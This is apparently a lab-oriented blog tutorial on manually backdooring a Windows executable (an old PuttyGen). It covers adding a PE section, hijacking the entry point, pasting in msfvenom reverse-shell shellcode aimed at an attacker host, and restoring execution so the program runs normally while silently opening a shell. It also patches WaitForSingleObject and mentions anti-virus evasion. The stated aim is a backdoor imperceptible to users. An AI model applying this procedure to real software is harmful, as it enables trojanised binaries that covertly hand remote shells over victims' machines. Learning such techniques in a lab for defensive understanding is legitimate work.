Tools like msfvenom, Veil-Evasion, Shellter, and so many more allow automatic-patching of malicious code into a Portable Executable (PE) file. This blog post will walk through a manual shellcode implant in a sample binary file.
Word of Warning
The purpose of this blog is to provide an outlet to note down the methodologies and tricks I've learned along the way, and hopefully this will be beneficial to someone else. I do not claim to be an expert in this field and there are many other blog posts and articles that delve in to considerably better detail.
Information is free - take the good bits and leave the rest!
I'd suggest reading my initial blog post around basic overflows if you're just starting out, but we'll assume a development lab is already good and ready to go. Same sort of things apply in terms of pre-requisites, but it's worth downloading a tool to edit PE file structures and another to edit the raw binary hex data.
For this post I'll be using an older version of 'PuttyGen.exe' (v0.60) as a practical example.
As you progress through backdooring the program it is worthwhile saving the instructions that you add in incrementally. I tend to do this in case I make a major mistake, but it's also useful to see the various steps and additions in each revision.
Edit Raw PE Structure
Our first step will be to open the puttygen.exe binary file in PE Tools. Here we will navigate to 'Sections' and view the PE file section header structure.
We want to add a new section, as we're performing a very simple backdoor here. Right-click in the Sections Editor and click Add Section.
Name the section however you want. I've just named mine
.peinj. I've chosen to add 1000 hex bytes to the data size, which is filled with null bytes. If you're doing this with another tool, such as LordPE, you'll need to add the bytes in separately.
Our new section has been added. Save this to a new file (ideally) or make sure you back up the original before saving.
Identifying the Entry Point
We'll load the new puttygen.exe file into a debugger and run the execution. The program should run successfully, and we identify the initial entrypoint.
We'll binary copy these (select the first several instructions, right-click, copy) and save them in a notepad file for later.
00414DBC > $ 6A 60 PUSH 60 00414DBE . 68 704C4200 PUSH puttygen.00424C70 00414DC3 . E8 5C420000 CALL puttygen.00419024 00414DC8 . BF 94000000 MOV EDI,94 00414DCD . 8BC7 MOV EAX,EDI 00414DCF . E8 FCF2FFFF CALL puttygen.004140D0 00414DD4 . 8965 E8 MOV DWORD PTR SS:[EBP-18],ESP
Locate our Section
Click in to the Memory Map feature and locate where the new section has been stored within memory. In my example this starts at the virtual memory address
0042C000. I'll note this down for later use too.
Following this address in memory (right click, follow in dump) we're shown that the section is completely empty and prime for shellcode abuse.
Navigating Execution Flow
Our first port of call with implementing this backdoor is to modify the initial entry point to move execution to our new section in memory. I'll edit the file in place and set
JMP 0042c000. This will cause the program to move to our new memory section when it starts up, which is currently full of
Select the instruction that was just entered, then right-click and select 'copy to executable' then 'selection'. A new window will pop up. Right-click again and select 'save to executable'. I tend to save these as new files so that I can go back to an older version if necessary (i.e. I make a mistake).
Open the new file in the debugger and let's move on.
If we run the program as-is, then the execution flow will take us to the new memory location upon start-up. However, the program will crash as there's no instructions that are set here.
I'll quickly generate some shellcode, which will initiate a basic reverse shell to a local port on my attacking host. This will be output to a hex string, which we'll then extract be able to binary paste directly back in to the program within the debugger.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.4 LPORT=4444 -b '\x00' EXITFUNC=none -i 0 -f hex
EXITFUNC=none argument ensures that once the shellcode has run that it continues so that we can return to intended execution flow.
With that all done, let's go back to the debugger and insert some instructions. Our first port of call is to save the existing state prior to shellcode execution. We'll do this by inserting
PUSHAD to save the registers, then
PUSHFD to save the flags. After we insert the shellcode we'll
POP these values back to attempt to resume the execution state (I'll get to that later).
Once these have been added I'd suggest saving the file again just to have a revert point if necessary.
Just to note, I've added a breakpoint at these values for later debugging in the event that the shellcode or any future instructions cause an issue. I'd suggest setting a breakpoint at the
PUSHFD instruction. You can do this and incrementally save the edits as you go along (worthwhile), but the key point here is to obtain the ESP value at the instruction immediately following
The next step is to (binary) paste in our shellcode directly. Doing so will result in the the shellcode instructions being entered directly. Please note that when you do this you'll need to select through the CPU instruction with a large enough range prior to pasting to allow for the shellcode size.
We can save this now, run it and we'll see that when the puttygen.exe program is run that the backdoor executes successfully.
However, the puttygen tool no longer runs as the execution flow terminates after the shellcode has run. To create a backdoor that would be imperceptible to a generic user we would need to resume execution flow. This backdoor would easily be caught by anti-virus, but there are methods around that (will be covered in another blog).
Resuming Original Execution Flow
I'll reload the latest file back into the debugger, will manually navigate to the start of our injected section, and will set a breakpoint at the start. After this, we'll navigate back down to the end of our shellcode and manually insert a reverse of the initial commands we entered. These will be
After this, we'll reinsert the initial command that was overwritten by the jump to the injected section memory address
PUSH 60; PUSH 00424C70 . However, if you look at the entry point instructions that we created for this JMP there are a few NOPs that have been inserted due to the length of the new long JMP instruction. As such, the other missing instructions need to be entered.
Next, I'll add in a
JMP command that will take execution directly to the address of the next command that was going to be executed. This was the
CALL puttygen.00419024 instruction.
Additionally, we'll calculate the difference in ESP from the start of the shellcode compared to what the ESP register holds prior to the new POP instructions. We'll do this by setting a breakpoint at the previous NOP, and then subtract the new ESP value from the original ESP value and add this back on via
ADD ESP, xxx. In this instance the value was
0012FF80 - 0012FD80 = 200, so I added
Then, due to the size of the
ADD ESP instruction the instructions to resume execution flow needed to be readded.
Save the file again and we'll test the execution flow.
Testing Execution Flow
Upon running the program we immediately see a crash alert from Windows. However, if we run a netcat listener on the attacking machine it is clear that the shellcode has executed.
To remedy this, where execution of the actual application is being halted until the reverse shell terminates, we have to ensure that
0 is being sent to the
WaitForSingleObject function as by default the msfvenom shellcode sets this to
-1 (infinity). In the old msfpayload tool this was sent via a
PUSH -1 to ESI, however in msfvenom this is done via a
DEC ESI; PUSH ESI; INC ESI. A simple way to identify this is by running a trace over the execution flow, or alternatively by manually setting breakpoints at various
CALL instructions in the shellcode.
I've mitigated this below by setting the
DEC ESI and
INC ESI instructions surrounding the
PUSH ESI to
Testing Final Execution
Upon saving this to a new binary file we can run the executable and the puttygen.exe application instantly starts, whilst also returning a reverse shell to our netcat listener.